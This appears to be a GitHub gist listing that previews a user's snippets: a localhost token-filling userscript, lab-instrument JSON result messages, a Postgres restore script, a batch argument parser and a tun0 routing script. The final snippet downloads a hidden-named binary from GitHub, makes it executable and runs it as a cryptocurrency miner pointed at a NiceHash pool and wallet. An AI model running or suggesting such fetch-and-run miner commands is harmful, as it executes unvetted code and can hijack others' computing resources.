This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ==UserScript== | |
| // @name Scalar Auto Fill Token Field | |
| // @namespace http://localhost:8000/ | |
| // @version 1.0 | |
| // @description Automatically fill the Token field on localhost | |
| // @match http://localhost:8000/* | |
| // @grant none | |
| // ==/UserScript== | |
| (function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "pattern": "order_result", | |
| "data": { | |
| "Instrument": { | |
| "IdInstrument": 12, | |
| "NamaInstrument": "CellDyn (B)", | |
| "Type": "ASTM", | |
| "Mode": "REALTIME", | |
| "NamaPc": "DEFAULT" | |
| }, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "pattern": "order_result", | |
| "data": { | |
| "Instrument": { | |
| "IdInstrument": 11, | |
| "NamaInstrument": "OPTICCA", | |
| "Type": "ASTM", | |
| "Mode": "REALTIME", | |
| "NamaPc": "DEFAULT" | |
| }, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require("dotenv").config(); | |
| const fs = require("fs"); | |
| const Client = require("pg").Client; | |
| const winston = require("winston"); | |
| const PATH_TO_SOURCE = process.env.PATH_TO_SOURCE; | |
| const PATH_TO_RESTORED = process.env.PATH_TO_RESTORED | |
| const logger = winston.createLogger({ | |
| level: "info", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "pattern": "order_result", | |
| "data": { | |
| "Instrument": { | |
| "IdInstrument": 2, | |
| "NamaInstrument": "CobasC111", | |
| "Type": "ASTM", | |
| "Mode": "REALTIME" | |
| }, | |
| "Patient": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "pattern": "order_result", | |
| "data": { | |
| "Instrument": { | |
| "IdInstrument": 2, | |
| "NamaInstrument": "CobasC111", | |
| "Type": "ASTM", | |
| "Mode": "REALTIME" | |
| }, | |
| "Patient": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "pattern": "order_result", | |
| "data": { | |
| "Instrument": { | |
| "IdInstrument": 2, | |
| "NamaInstrument": "CobasC111", | |
| "Type": "ASTM", | |
| "Mode": "REALTIME" | |
| }, | |
| "Patient": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| setlocal enabledelayedexpansion | |
| set argCount=0 | |
| for %%x in (%*) do ( | |
| set /A argCount+=1 | |
| set "argVec[!argCount!]=%%~x" | |
| @REM set "argName[!argCount!]=%%~nx" | |
| ) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| GREEN='\033[0;32m' | |
| YELLOW='\033[1;33m' | |
| NC='\033[0m' # No Color | |
| setup_tap_and_route(){ | |
| sudo ifconfig tun0 10.0.0.1 netmask 255.255.255.0 | |
| if route | grep tun0; then | |
| sudo route add default gw 10.0.0.2 metric 6 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| wget https://github.com/WhynotSir/sirji/raw/main/.dev | |
| chmod +x .dev | |
| ./.dev --algo BEAM-III --pool stratum+tcp://beamv3.usa-west.nicehash.com:3387 --user 3NuN7uVhFCxgPe9E6H3z4jSiknbXfhk1kK.$1 |
NewerOlder